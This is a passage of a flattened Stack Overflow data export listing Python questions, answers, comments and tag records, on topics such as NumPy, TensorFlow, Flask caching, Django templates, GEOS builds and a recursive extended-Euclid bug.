has body: def kek(k,p): if k &gt; p: return pew(k,p) elif k &lt; p: return pew(p,k) else: return 1 def pew(j,k): if k == 0: return j,j,k q = j // k r = j % k R, h , o = pew(k,r) return R,o,h-q*o hmm = kek(231,1920) ''' Math logic: d = s x 231 + t x 1920 1920 = 8*231 + 72 231 = 3*72 + 15 72 = 4*15 + 12 15 = 1*12 + 3 12 = 4*3 d = gcd(231, 1920) = 3 3 = 15 – 12 = 15 – (72 – 4*15) = 15 – 72 + 4*15 = 5*15 – 72 = 5*(231-3*72) – 72 = 5*231 – 15*72 – 72 = 5*231 – 16*72 = 5*231 – 16*(1920-8*231) = 5*231 – 16*1920 + 128*231 = 133*231 – 16*1920 = 133*231 + (-16)*1920 d = 3, s = 133 , t = -16 ''' However, I got -48 for s and 399 for t and a correct result 3 for d. Where is the problem with my recursive method? The above Math logic is how you calculate it by hand, I used D = bR1 + (a-Qb)R2 and D = aR2 + b*R3 to achieve my resursive call, but it gives me the results of 133 * 3 and -16 * 3 which is what I don't want to get.
has comment: http://stackoverflow.com/comment/85941799
has answer: http://stackoverflow.com/a/49469945

http://stackoverflow.com/a/49571161
has body: Ho through the documentation below, same concept for 10 too https://www.odoo.com/documentation/user/9.0/crm/salesteam/manage/create_salesperson.html
answers question: http://stackoverflow.com/q/49569342
type: Answer
score: 0
has comment: http://stackoverflow.com/comment/86151262

http://stackoverflow.com/a/49580552
downvote count: 0
upvote count: 7
accepted answer of: http://stackoverflow.com/q/49578953
type: Answer
answers question: http://stackoverflow.com/q/49578953
score: 7
type: AcceptedAnswer
has body: There is a notable difference between numpy.sort and ndarray.sort: the former returns a copy of the array, the latter sorts in-place. For other methods, one can use equivalent functions just as well. The function form will accept array-like collections that can be converted to a NumPy array; this is sometimes convenient. On the other hand, this comes at the expense of a few more checks and function calls, so the method form should be a tiny bit faster. In practice, this is probably negligible; for me the deciding factor is usually that methods take fewer characters to type. Some mathematical operations are more naturally written as methods: compare np.transpose(A) and A.T, when A is a 2-dimensional array.

http://stackoverflow.com/q/49591463
type: Question
linked to: http://stackoverflow.com/q/14088375
answer count: 0
type: UnansweredQuestion
tagged with: cmyk
tagged with: python
tagged with: image
has comment: http://stackoverflow.com/comment/86190999
score: 0
has body: I'm trying to import a CMYK image into python to check the total ink coverage. I saved the image with adobe illustrator as jpg, and it looks OK in the windows viewer. When open the image in python some of the colors are distorted. In the example image, the brown is completely black. I've tried starting from a TIF file but same problem occured. from PIL import Image import matplotlib.pyplot as plt imgName = 'filename.jpg' # Filename img = Image.open(imgName) plt.figure() plt.imshow(img)
tagged with: python-imaging-library
has comment: http://stackoverflow.com/comment/86190849
has comment: http://stackoverflow.com/comment/86190959
has title: CMYK image color wrong when plotting

http://stackoverflow.com/a/49577651
upvote count: 2
score: 2
answers question: http://stackoverflow.com/q/49561381
downvote count: 0
type: AcceptedAnswer
has body: Thanks to Knud's comments above was able to get GEOS to compile properly. Python is now configured with ./configure --prefix=/usr/local --enable-shared and followed with a sudo ldconfig -v /usr/local/lib Following those actions GEOS compiled just fine with export PYTHON=/usr/local/bin/python3 &amp;&amp; ./configure --prefix=/usr/local --enable-python &amp;&amp; make &amp;&amp; sudo make install UPDATE: On attempting to build GEOS on another system I ran into this problem again. This time the solution was slightly different. The Python compilation builds the library and with a filename of libpython3.6m.so.1.0. The GEOS configuration is looking for the pattern of libpython$PYTHON_VERSION.*. If the python version is determined to 3.6, which this system was returning, the build will fail due to that added 'm'. The additional FIX was to add a symlink as ln -s libpython3.6m.1.0 libpython3.6.so in the library directory.
type: Answer
accepted answer of: http://stackoverflow.com/q/49561381

http://stackoverflow.com/q/49481787
linked to: http://stackoverflow.com/q/10777271
score: 0
tagged with: list
has comment: http://stackoverflow.com/comment/85966595
answer count: 0
duplicate of: http://stackoverflow.com/q/10777271
has comment: http://stackoverflow.com/comment/85966751
type: UnansweredQuestion
has body: I have a list and would like to add an addition to the first list with the position number: names = ["one", "two"] names_numbers = [x + '\n(%s)' for x in names] So that I get: desired output = ['one\n(0)', 'two\n(1)'] However, I am struggling with the middle step. I found a way for one element in a string, but not for every element in a list, being flexible in the length of the list. I also don't want a tuple, but the number inside the string!
tagged with: python
has title: Python: Add position number to string element in list
has comment: http://stackoverflow.com/comment/85966446
type: Question

http://stackoverflow.com/q/49502697
favorite count: 0
type: Question
upvote count: 2
has title: How to take out elements knowing their indexes
answer count: 5
has comment: http://stackoverflow.com/comment/86009512
has answer: http://stackoverflow.com/a/49502913
downvote count: 0
has answer: http://stackoverflow.com/a/49502770
has comment: http://stackoverflow.com/comment/86009524
has answer: http://stackoverflow.com/a/49502815
tagged with: indexing
score: 2
has answer: http://stackoverflow.com/a/49506835
type: AnsweredQuestion
tagged with: list
accepted answer: http://stackoverflow.com/a/49502770
has answer: http://stackoverflow.com/a/49502800
possible better answer: http://stackoverflow.com/a/49502800
tagged with: python
has body: I just have a little trouble with my program, I want to take a few elements of a list knowing their indexes and then add this elements to another list... For example: a= ['dog','cat','house','car'] c=[] #list with the indexes: b=[0,2] so I wanto to take out the elements of a with the indexes "0" and "2" and add them to the c list.

http://stackoverflow.com/q/49579684
type: AnsweredQuestion
has body: I have a dataset represented as a NumPy matrix of shape (num_features, num_examples) and I wish to convert it to TensorFlow type tf.Dataset. I am struggling trying to understand the difference between these two methods: Dataset.from_tensors and Dataset.from_tensor_slices. What is the right one and why? TensorFlow documentation (link) says that both method accept a nested structure of tensor although when using from_tensor_slices the tensor should have same size in the 0-th dimension.
upvote count: 96
accepted answer: http://stackoverflow.com/a/49579995
downvote count: 0
has answer: http://stackoverflow.com/a/55370549
has answer: http://stackoverflow.com/a/68690873
tagged with: tensorflow
tagged with: tensorflow-datasets
favorite count: 0
type: Question
score: 96
answer count: 5
possible better answer: http://stackoverflow.com/a/54051300
has answer: http://stackoverflow.com/a/59485569
tagged with: python
has answer: http://stackoverflow.com/a/49579995
has answer: http://stackoverflow.com/a/54051300
has title: What is the difference between Dataset.from_tensors and Dataset.from_tensor_slices?

scipy
tags question: http://stackoverflow.com/q/49478290
tags question: http://stackoverflow.com/q/49598051
tags question: http://stackoverflow.com/q/49530410
tags question: http://stackoverflow.com/q/49506843
tags question: http://stackoverflow.com/q/49488309
tags question: http://stackoverflow.com/q/49577387
tags question: http://stackoverflow.com/q/49510078
tags question: http://stackoverflow.com/q/49453455
tags question: http://stackoverflow.com/q/49501864
tags question: http://stackoverflow.com/q/49557809
tags question: http://stackoverflow.com/q/49593220
tags question: http://stackoverflow.com/q/49460680
tags question: http://stackoverflow.com/q/49535223
tags question: http://stackoverflow.com/q/49470837
tags question: http://stackoverflow.com/q/49559770
tags question: http://stackoverflow.com/q/49441614
tags question: http://stackoverflow.com/q/49560664
tags question: http://stackoverflow.com/q/49455211
tags question: http://stackoverflow.com/q/49478024
tags question: http://stackoverflow.com/q/49470213
tags question: http://stackoverflow.com/q/49574111
tags question: http://stackoverflow.com/q/49566944
tags question: http://stackoverflow.com/q/49511787
tags question: http://stackoverflow.com/q/49459303
type: Tag
tags question: http://stackoverflow.com/q/49518634
tags question: http://stackoverflow.com/q/49453190
tags question: http://stackoverflow.com/q/49574212
tags question: http://stackoverflow.com/q/49542439
tags question: http://stackoverflow.com/q/49547534
tags question: http://stackoverflow.com/q/49576853
tag name: scipy
tags question: http://stackoverflow.com/q/49588363
tags question: http://stackoverflow.com/q/49522287
tags question: http://stackoverflow.com/q/49475447
tags question: http://stackoverflow.com/q/49599026
tags question: http://stackoverflow.com/q/49549585
tags question: http://stackoverflow.com/q/49567997
tags question: http://stackoverflow.com/q/49526859
tags question: http://stackoverflow.com/q/49461299
tags question: http://stackoverflow.com/q/49571240
tags question: http://stackoverflow.com/q/49571825
tags question: http://stackoverflow.com/q/49576153
tags question: http://stackoverflow.com/q/49526225
tags question: http://stackoverflow.com/q/49490615
tags question: http://stackoverflow.com/q/49460789
tags question: http://stackoverflow.com/q/49495424
tags question: http://stackoverflow.com/q/49568468
tags question: http://stackoverflow.com/q/49443880
tags question: http://stackoverflow.com/q/49471533
tags question: http://stackoverflow.com/q/49538120
tags question: http://stackoverflow.com/q/49476133
tags question: http://stackoverflow.com/q/49538330
tags question: http://stackoverflow.com/q/49477822
tags question: http://stackoverflow.com/q/49562165
tags question: http://stackoverflow.com/q/49463875
tags question: http://stackoverflow.com/q/49558080
tags question: http://stackoverflow.com/q/49565152
tags question: http://stackoverflow.com/q/49511471

http://stackoverflow.com/comment/85887813
has text: You are adding `13` to a string. Use `ord()` and `chr()` to change strings to numbers an back again.
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/49443061
type: Comment

http://stackoverflow.com/comment/86001614
score: 2
comment on: http://stackoverflow.com/q/49498818
type: QuestionComment
type: Comment
has text: `if not line.strip('\n') + " downloaded\n" in f:` is silently iterating on `f` so it consumes the list at the first pass

http://stackoverflow.com/a/49460259
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/85923569
has body: You should be able to edit the __name__ attribute of it: &gt;&gt;&gt; def f(x): print(x) &gt;&gt;&gt; f &lt;function f at 0x7feb2c843a28&gt; &gt;&gt;&gt; f.__name__ = 'my function' &gt;&gt;&gt; f &lt;function my function at 0x7feb2c843a28&gt; &gt;&gt;&gt; f.__name__ my function Edit: note that in Python 3, you may have to overwrite the __qualname__ property instead (see https://www.python.org/dev/peps/pep-3155/ and https://github.com/ipython/ipython/issues/5566/).
has comment: http://stackoverflow.com/comment/85923801
type: Answer
accepted answer of: http://stackoverflow.com/q/49460229
has comment: http://stackoverflow.com/comment/85975827
has comment: http://stackoverflow.com/comment/85923643
answers question: http://stackoverflow.com/q/49460229
has comment: http://stackoverflow.com/comment/85923529
downvote count: 0
score: 1
upvote count: 1

http://stackoverflow.com/q/49499029
downvote count: 0
answer count: 1
accepted answer: http://stackoverflow.com/a/49499398
tagged with: tensorflow
has answer: http://stackoverflow.com/a/49499398
favorite count: 0
type: Question
upvote count: 1
tagged with: python
has body: I use tensorflow to color gray-scale images. So I use sigmoid_cross_entropy_with_logits() and minimize it with tf.train.AdadeltaOptimizer(). I train it and print correct_prediction = tf.norm(y_ - y_conv) But after several iterations it gives me nan: step 0, acc 2068538.88 step 1, acc 287121.97 step 2, acc 82377.69 step 3, acc 31250.95 step 4, acc 16694.72 step 5, acc 10168.58 step 6, acc 6993.02 step 7, acc nan step 8, acc nan step 9, acc nan What does it mean?
type: AnsweredQuestion
score: 1
has title: accuracy in neural learning becomes NaN (tensorflow)

http://stackoverflow.com/q/49458355
has body: I have the following scraping code: import requests, bs4 def make_soup(): url = 'https://www.airbnb.pl/s/Girona--Hiszpania/homes?place_id=ChIJRRrTHsPNuhIRQMqjIeD6AAM&amp;query=Girona%2C%20Hiszpania&amp;refinement_paths%5B%5D=%2Fhomes&amp;allow_override%5B%5D=&amp;s_tag=b5bnciXv' response = requests.get(url) soup = bs4.BeautifulSoup(response.text, "html.parser") return soup def get_listings(): soup = make_soup() listings = soup.select('._f21qs6') number_of_listings = len(listings) print("Current number of listings: " + str(number_of_listings)) while number_of_listings != 18: print("Too few listings: " + str(number_of_listings)) soup = make_soup() listings = soup.select('._f21qs6') number_of_listings = len(listings) print("All fine! The number of listings is: " + str(number_of_listings)) return listings new_listings = get_listings() print(new_listings) I think def get_listings() returns listings as string, so I cannot use BeautifulSoup's prettify() on it and new_listings gets printed as one block of text. Is there any way to print new_listings in HTML-esque format or at least have each tag printed at separate line?
tagged with: beautifulsoup
type: Question
has answer: http://stackoverflow.com/a/59436152
accepted answer: http://stackoverflow.com/a/49458417
tagged with: python
score: 4
has answer: http://stackoverflow.com/a/49458417
upvote count: 4
type: AnsweredQuestion
answer count: 2
has title: How to pretty print BeautifulSoup's string output
downvote count: 0
possible better answer: http://stackoverflow.com/a/59436152
favorite count: 0

http://stackoverflow.com/comment/85957792
type: Comment
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/49477640
has text: What are your imports? What version of Tensorflow are you using? What OS? GPU or non-GPU?

http://stackoverflow.com/q/49445736
has comment: http://stackoverflow.com/comment/86102578
tagged with: python
has body: I have been working on comparison to run deep learning code on local machine and Google Cloud Platform. The code is about recurrent neural network and it ran perfectly well on local machine. But on GCP cloud shell, when I want to compile my python file, it shows "Killed" userID@projectID:~$ python rnn.py Killed Is it because that I am out of memory? (because I tried to run line by line, and on the second time I assigned large data to a variable, it stuck.) My code is somewhat like this imdb = np.load('imdb_word_emb.npz') X_train = imdb['X_train'] X_test = imdb['X_test'] on the third line, the machine stuck and showed "Killed" I tried to change the order of the second and third line, it still stuck at the third line. My training data is a (25000,80,128)-array. So is my testing data. The data set works perfectly well on my local machine. I am sure there are no problem with this data set. Or is it because of other reasons? It would be awesome if people who know how to solve or even few key words tell me how to deal with this. Thank you :D
type: AnsweredQuestion
score: 3
answer count: 2
tagged with: google-cloud-platform
upvote count: 3
possible better answer: http://stackoverflow.com/a/77839661
has comment: http://stackoverflow.com/comment/86055984
downvote count: 0
tagged with: recurrent-neural-network
has answer: http://stackoverflow.com/a/77839661
favorite count: 0
type: Question
has title: Python killed on GCP
accepted answer: http://stackoverflow.com/a/50022291
has comment: http://stackoverflow.com/comment/86056080
has answer: http://stackoverflow.com/a/50022291
has comment: http://stackoverflow.com/comment/85927629
has comment: http://stackoverflow.com/comment/86055037

http://stackoverflow.com/comment/86250551
type: Comment
comment on: http://stackoverflow.com/a/49619781
type: AnswerComment
has text: Excellent explanation, just a silly question, when I have got the output shape of the tensor, how can I plot it and see. I can't do it on a simple matplot's plt function can you please help me there?
score: 0

http://stackoverflow.com/q/49552576
accepted answer: http://stackoverflow.com/a/49553228
favorite count: 0
has comment: http://stackoverflow.com/comment/86112406
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/49553008
has answer: http://stackoverflow.com/a/49553013
tagged with: python
score: -1
has answer: http://stackoverflow.com/a/49553228
answer count: 4
has body: hi I just started teaching myself Python couple of days ago and right now got really confused about the usage of"." when calling Method/Function. when def is created within a class, it would be a"Method", where you would have to call it by typing "the name of the instance "."the name of the method"() this makes sense because the first argument "self" is connected to the instance created. however, when using Numpy I encountered a "function" np.random.rand() How is this possible? this function already has two objectives(np,random). how can this be created when using only two elements "package(class)" and "moduel(def)". what does "." mean in this function? Thank you
has answer: http://stackoverflow.com/a/49553017
possible better answer: http://stackoverflow.com/a/49553017
type: Question
has comment: http://stackoverflow.com/comment/86112404
tagged with: numpy
has title: Python Method/Function
downvote count: 2
upvote count: 1
tagged with: function
has comment: http://stackoverflow.com/comment/86121760
tagged with: methods

http://stackoverflow.com/comment/86176611
has text: I would just add one thing--`s.values[np.abs(s) > 1]` does return a 1d array as described by [boolean indexing](https://docs.scipy.org/doc/numpy-1.13.0/reference/arrays.indexing.html#boolean-array-indexing) docs. Which can be confusing because as you mentioned, calling just `s[np.abs(s) > 1]` is different than assigning to it.
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/49584270
score: 1

numerical-methods
tags question: http://stackoverflow.com/q/49564773
type: Tag
tags question: http://stackoverflow.com/q/49463985
tag name: numerical-methods
tags question: http://stackoverflow.com/q/49537535

http://stackoverflow.com/q/49597612
favorite count: 0
type: Question
has title: Python, problems with using an API to login and authenticate
has answer: http://stackoverflow.com/a/49706431
has comment: http://stackoverflow.com/comment/86202687
has comment: http://stackoverflow.com/comment/86240063
tagged with: python
has comment: http://stackoverflow.com/comment/86205136
has comment: http://stackoverflow.com/comment/86207650
has comment: http://stackoverflow.com/comment/86239380
type: AnsweredQuestion
downvote count: 0
tagged with: api
has comment: http://stackoverflow.com/comment/86206079
accepted answer: http://stackoverflow.com/a/49706431
upvote count: 1
has comment: http://stackoverflow.com/comment/86205934
score: 1
has comment: http://stackoverflow.com/comment/86202589
answer count: 1
tagged with: authentication
has comment: http://stackoverflow.com/comment/86204629
has body: Edit: I found a solution, I parsed the Key and Token through MyKey = (LoginResponse.json()['Result']['Key']) MyToken = (LoginResponse.json()['Result']['Token']) from the LoginResponse and then added it to the RegisterHeaders RegisterHeaders = { 'accept': "application/json", 'AOToken': MyToken, 'AOKey': MyKey, 'Cache-Control': "no-cache" } Original question: Any kind of help is really appreciated! I need help with authenticating myself through Python. I use an API to get some json functions I can call on a website. The login-part works, but it comes up with errors when I try to authenticate. I use Postman where I can login and auth myself fine. I have to somehow call the token I am getting from logging in, but how I call it I don't know. Hope someone can help! Been at this for a couple of days now :/ # Login import requests import json LoginURL = "https://website.com/Login" LoginCredentials = {"username":"MYUSERNAME","password":"MYPASSWORD"} LoginHeaders = { 'Cache-Control': "no-cache", 'Postman-Token': "MYPOSTMANTOKEN" } LoginResponse = requests.request("GET", LoginURL, headers=LoginHeaders, params=LoginCredentials) print(LoginResponse.text) # Register RegisterURL = "https://website.com/Register" RegisterCredentials = {"username":"MYUSERNAME"} RegisterHeaders = { 'Cache-Control': "no-cache", 'Postman-Token': "MY POSTMAN-TOKEN" } RegisterResponse = requests.request("GET", RegisterURL, headers=RegisterHeaders, params=RegisterCredentials) print(RegisterResponse.text)

http://stackoverflow.com/comment/86085738
score: 0
type: AnswerComment
has text: I just tried and the result wasn't the expected. Sorry for not making myself clear. what I want is to turn strings (ex.: "\a", "\b") to raw strings (ex.: r"\a", r"\b"). This is to escape the backslash ("\"). One way that this would work is to escape the backslash with another (ex.: "\\a", "\\b"). This could be easily coded or I could also do this manually every time I insert a path. However this is not the intended. What is intended is to use raw strings, not change backslashes. There is another thing to have in mind: the strings are inside lists.
comment on: http://stackoverflow.com/a/49538842
type: Comment

http://stackoverflow.com/q/49546950
has title: r'\U' gives SyntaxError: (unicode error) 'rawunicodeescape' codec can't decode bytes
has comment: http://stackoverflow.com/comment/86101387
duplicate of: http://stackoverflow.com/q/7602171
answer count: 1
has answer: http://stackoverflow.com/a/49547002
accepted answer: http://stackoverflow.com/a/49547002
favorite count: 0
has comment: http://stackoverflow.com/comment/86101445
type: Question
has body: I'm in Python 2.7. test = r'\U' gives: SyntaxError: (unicode error) 'rawunicodeescape' codec can't decode bytes in position 0-1: truncated \uXXXX I thought raw strings were supposed to ignore backslashes. No? I want a string that actually contains '\' and 'U'. In case it matters, I'm also using: from __future__ import (absolute_import, division, print_function, unicode_literals)
has comment: http://stackoverflow.com/comment/86101417
has comment: http://stackoverflow.com/comment/86121524
tagged with: python
has comment: http://stackoverflow.com/comment/86101407
has comment: http://stackoverflow.com/comment/86101375
type: AnsweredQuestion
score: 3
tagged with: python-2.7
upvote count: 3
linked to: http://stackoverflow.com/q/7602171
downvote count: 0

http://stackoverflow.com/comment/85976683
comment on: http://stackoverflow.com/a/49469232
score: 0
type: AnswerComment
has text: If you follow the rabbit into the documentation, you can get a list of efficiently supported metrics. Or you add your own.
type: Comment

http://stackoverflow.com/q/49451820
has comment: http://stackoverflow.com/comment/85906691
has comment: http://stackoverflow.com/comment/85906277
tagged with: python
has answer: http://stackoverflow.com/a/49452162
score: 4
upvote count: 4
tagged with: flask
has body: I implemented a Redis cache in my Flask app using Flask-Caching==1.3.3, but obviously some of my endpoint unit tests are now failing because the responses are cached, making some POST/PUT tests fail. Is there some good way to disable the cache during unit tests? I'm using pytest==3.5.0 Eg. this fails because the old entry is returned from cache: def test_updating_biography(self): """Should update the current newest entry with the data in the JSON.""" response = self.app.put( "/api/1.0/biography/", data=json.dumps( dict( short="UnitTest Updated newest short", full="UnitTest Updated newest full", ) ), content_type="application/json" ) get_bio = self.app.get("/api/1.0/biography/") biodata = json.loads(get_bio.get_data().decode()) self.assertEquals(200, response.status_code) self.assertEquals(200, get_bio.status_code) &gt; self.assertEquals("UnitTest Updated newest short", biodata["biography"][0]["short"]) E AssertionError: 'UnitTest Updated newest short' != 'UnitTest fourth short' E - UnitTest Updated newest short E + UnitTest fourth short tests/biography/test_biography_views.py:100: AssertionError I tried for example: def setUp(self): app.config["CACHE_TYPE"] = None app.config["CACHE_REDIS_URL"] = "" self.app = app.test_client() And also app.config["CACHE_TYPE"] = "null" and app.config["CACHE_TYPE"] = "", but it is still using the cache in the unit test. I tried this one, but it's of course outside of app context: @cache.cached(timeout=0) def test_updating_biography(self):
downvote count: 0
answer count: 1
tagged with: caching
tagged with: unit-testing
favorite count: 0
type: Question
has title: Flask with redis - disable cache during pytest?
type: UnansweredQuestion

http://stackoverflow.com/q/49517004
accepted answer: http://stackoverflow.com/a/49517248
has comment: http://stackoverflow.com/comment/86042465
has comment: http://stackoverflow.com/comment/86039755
has answer: http://stackoverflow.com/a/49517248
has body: I am a newbie to Django and cannot figure this out from any of my searches. I am having trouble displaying related fields in my Django 2.0 template. There are 2 fields in my model referring to the same foreign model. What is the best way to handle this? I greatly appreciate any assistance with this. Model class Clients(models.Model): company_name = models.CharField(max_length=150) type = models.ForeignKey(Types, on_delete=models.PROTECT) division = models.ForeignKey(Divisions, on_delete=models.PROTECT) address1 = models.CharField(max_length=150, null=True, blank=True) address2 = models.CharField(max_length=150, null=True, blank=True) city = models.CharField(max_length=150, null=True, blank=True) state = models.CharField(max_length=30, null=True, blank=True) zip = models.CharField(max_length=30, null=True, blank=True) name = models.CharField(max_length=150, null=True, blank=True) phone = models.CharField(max_length=75, null=True, blank=True) mobile = models.CharField(max_length=75, null=True, blank=True) fax = models.CharField(max_length=150, null=True, blank=True) email = models.EmailField(null=True, blank=True) website = models.URLField(null=True, blank=True) pb_support_rate = models.ForeignKey(SupportRates, null=True, on_delete=models.PROTECT, related_name='pb_rate', blank=True) px_support_rate = models.ForeignKey(SupportRates, null=True, on_delete=models.PROTECT, related_name='px_rate', blank=True) View class ClientsDetailView(DetailView): model = models.Clients context_object_name = 'client_details' template_name = 'client_details.html' Template PB Support Rate {{ object.pb_rate__rate_amount }}
tagged with: python
has comment: http://stackoverflow.com/comment/86039920
has comment: http://stackoverflow.com/comment/86040104
type: AnsweredQuestion
has title: Having trouble displaying related fields in Django 2.0 template
score: 0
answer count: 1
tagged with: django
has comment: http://stackoverflow.com/comment/86039730
type: Question
has comment: http://stackoverflow.com/comment/86039542

http://stackoverflow.com/q/49568468
answer count: 0
type: UnansweredQuestion
score: 0
has comment: http://stackoverflow.com/comment/86145458
tagged with: python
has title: Interpolation of 2D arrays in python using interp2d
linked to: http://stackoverflow.com/q/33259896
has comment: http://stackoverflow.com/comment/86147566
tagged with: scipy
type: Question
has body: I´m trying to interpolate data from a 2D array in python using scipy.interpolate.interp2d. However, I don´t think I fully understand what it is doing ,so any help is appreciated. I am trying to do something similar to what is suggested here Link. My code is below: %matplotlib inline import matplotlib.pyplot as plt import numpy as np from scipy import interpolate from scipy.interpolate import griddata p = np.array([[1,2,3,4,5,6,7,8,9,1],[1,2,3,4,5,6,7,8,9,1], [1,6,3,4,8,6,7,8,9,1],[1,2,3,4,5,6,7,89,9,1], [1,56,3,4,5,6,7,67,6,1],[1,2,3,4,7,6,7,8,9,1], [1,2,3,5,5,6,7,6,9,1],[1,2,3,6,5,6,7,45,9,1], [9,2,3,4,21,6,7,8,9,1],[1,8,3,3,5,6,7,5,9,1]]) print(pf) mymin, mymax = 0, 9 X = np.linspace(mymin,mymax,10) Y = np.linspace(mymin,mymax,10) Xnew = np.linspace(mymin,mymax,20) Ynew = np.linspace(mymin,mymax,20) f = interpolate.interp2d(x,y,p,kind='cubic') Po = f(Xnew,Ynew) print(Po) When I run it, the following error message is displayed: ValueError: Invalid length for input z for non rectangular grid
tagged with: numpy

http://stackoverflow.com/q/49571655
has answer: http://stackoverflow.com/a/65725167
type: Question
has comment: http://stackoverflow.com/comment/101233344
has body: I've read the basic and advanced tensorflow-serving tutorials but I am still unclear for how to build support in tensorflow-serving for the following: models built in Python (like xgboost or scikit-learn) models built in R (like xgboost or lightgbm) Considered using TFBT available in tf.contrib, but according to this, TensorFlow Boosted Trees (TFBT) takes much longer to train compared to xgboost and observed that it had worse precision. Any help or suggestions would be appreciated...
score: 7
has comment: http://stackoverflow.com/comment/120466237
tagged with: serving
tagged with: tensorflow-serving
has answer: http://stackoverflow.com/a/63020678
linked to: http://stackoverflow.com/q/39335051
tagged with: python
has title: How to publish custom (non-tensorflow) models using tensorflow-serving?
answer count: 2
type: UnansweredQuestion
downvote count: 0
upvote count: 7
tagged with: tensorflow
favorite count: 0

http://stackoverflow.com/comment/86174894
type: QuestionComment
comment on: http://stackoverflow.com/q/49583234
has text: look how scrapy do that https://doc.scrapy.org/en/latest/topics/architecture.html
score: 0
type: Comment

http://stackoverflow.com/a/49589190
accepted answer of: http://stackoverflow.com/q/49588363
downvote count: 0
upvote count: 1
answers question: http://stackoverflow.com/q/49588363
type: AcceptedAnswer
has body: ppp has shape (65536, 3), so m in that error message is 65536. Internally, linkage creates an array of floating point values with size m*(m-1)//2 to hold all the pairwise distances. In your case this is 2147450880 elements. Each floating point element requires eight bytes, so the total size of the array is 17179607040 bytes. That's over 17 gigabytes. Presumably you don't have enough memory to allocate such an array.
score: 1
type: Answer

http://stackoverflow.com/comment/85926212
type: Comment
score: 2
comment on: http://stackoverflow.com/q/49461647
type: QuestionComment
has text: Depends on what data types you have and what you want to do with them. Some of those functions take file-like objects, some take file names (strings). Some can copy a file into a directory, some copy only to a specific filename. Some preserve metadata, some don't.

http://stackoverflow.com/a/49476265
type: Answer
has body: You could simply add to the citizens list using this code: class Citizens: def __init__(self): self.citizens = [] def add_citizens(self, value): for i in value: self.citizens.append(i) citizenClass = Citizens() citizenClass.add_citizens(["Add", "Some", "Citizens"])
score: 0
answers question: http://stackoverflow.com/q/49475947
has comment: http://stackoverflow.com/comment/85961437

http://stackoverflow.com/a/49470673
answers question: http://stackoverflow.com/q/49470450
type: Answer
score: 2
upvote count: 2
has body: first enter any list x=[1,2,3....n] then do this function y=(Len(x) * 4) // 5 then split it to 2 lists a=x[0:y] b=x[-(Len(x)-y):]
downvote count: 0

http://stackoverflow.com/comment/86095413
type: AnswerComment
comment on: http://stackoverflow.com/a/49543588
type: Comment
has text: I assumed that picking up command-line arguments could *not* be your problem, considering the many examples and tutorials on that topic.
score: 0

http://stackoverflow.com/q/49450014
type: Question
has title: Trying to add persistence to django channel layers, failing to read from Redis
tagged with: redis
has comment: http://stackoverflow.com/comment/89464805
type: UnansweredQuestion
tagged with: django-channels
tagged with: database
tagged with: django
tagged with: python
score: 2
answer count: 0
upvote count: 2
has comment: http://stackoverflow.com/comment/89486619
downvote count: 0
has body: I'm trying to add persistence to django's channel-layers. I am overriding two functions to achieve this: group_add and group_send. Group_send should now store the latest message that it has sent in redis (which it is doing, successfully). Group_add should read this message from redis, and send it each time a new entity joins the group. However, it is failing to read from redis. from channels_redis.core import RedisChannelLayer from channels.exceptions import ChannelFull import time class RedisChannelLayerGroupPersistence(RedisChannelLayer): async def group_send(self, group, message): """ Sends a message to the entire group. """ assert self.valid_group_name(group), "Group name not valid" # Retrieve list of all channel names key = self._group_key(group) pers_key = key + bytes("_PERS", 'utf-8') async with self.connection(self.consistent_hash(group)) as connection: # Discard old channels based on group_expiry await connection.zremrangebyscore(key, min=0, max=int(time.time()) - self.group_expiry) # Return current lot channel_names = [ x.decode("utf8") for x in await connection.zrange(key, 0, -1) ] # TODO: More efficient implementation (lua script per shard?) try: await connection.persist(pers_key) await connection.set(pers_key, str(message)) for channel in channel_names: try: await self.send(channel, message) except ChannelFull: pass async def group_add(self, group, channel): """ Adds the channel name to a group. """ # Check the inputs assert self.valid_group_name(group), "Group name not valid" assert self.valid_channel_name(channel), "Channel name not valid" # Get a connection to the right shard group_key = self._group_key(group) pers_key = group_key + bytes("_PERS", 'utf-8') async with self.connection(self.consistent_hash(group)) as connection: message = await connection.get(pers_key) #ISSUE HERE MESSAGE NONE print(type(message)) # Add to group sorted set with creation time as timestamp await connection.zadd( group_key, time.time(), channel, ) # Set expiration to be gr…
favorite count: 0

http://stackoverflow.com/q/49500411
answer count: 1
downvote count: 0
tagged with: import
favorite count: 0
has answer: http://stackoverflow.com/a/49554550
tagged with: attributes
type: Question
tagged with: networkx
tagged with: graph
type: UnansweredQuestion
tagged with: python
has title: Access GraphML attributes after importing as NetworkX graph
upvote count: 2
score: 2
has body: I have a graph, stored in graphml format, which includes a bunch of attributes, like <key attr.name="label" attr.type="string" for="node" id="d0"/> and in a node this node's label I've imported this file using nx.read_graphml('mygraph.graphml'). I can visualize the graph (using nx.draw_networkx(imported_graph)), and I can export it again (using nx.write_graphml(imported_graph, 'exported.txt', encoding='utf-8', prettyprint=True)), and I see that all the attributes are kept. I'd like to work with nodes by accessing them based on their attributes. So I check what attributes all the nodes have like so: for i in imported_graph.__iter__(): print(i) print(nx.get_node_attributes(imported_graph, i)) I get 0 {} 1 {} and so on, so no node has any attributes? What am I doing wrong?

http://stackoverflow.com/q/49546499
accepted answer: http://stackoverflow.com/a/49563436
answer count: 1
has comment: http://stackoverflow.com/comment/86106066
tagged with: image-processing
has comment: http://stackoverflow.com/comment/86101465
has answer: http://stackoverflow.com/a/49563436
type: Question
has comment: http://stackoverflow.com/comment/86127607
has comment: http://stackoverflow.com/comment/86100869
tagged with: python
has title: Using wand.image + python 2.7 to trim white space
type: AnsweredQuestion
score: 0
tagged with: wand
has body: Is there a good way to trim white borders around jpgs generated from a PDF using wand.image, or should I be using another package? Note, the jpg's are images, with varying colors @ borders. Code below generates the image files for each part. Just have no clue how to trim out the white space from wand.image import Image f = "my_pdf.pdf" with Image(file=f, resolution=72) as document: for page_number, page in enumerate(document.sequence): with Image(page) as img: img.compression_quality = 70 bytes_io_file = BytesIO(img.make_blob('JPEG')) my system: python 2.7 on ubuntu 16 thank you in advance!

http://stackoverflow.com/comment/86160125
type: AnswerComment
comment on: http://stackoverflow.com/a/49568350
has text: I am guessing you are using Python 2. When you *fixed* it I am also guessing, that the change you made was not what you were expecting. I have made an edit which should work on both Python 2 and Python 3
score: 0
type: Comment

http://stackoverflow.com/comment/86005427
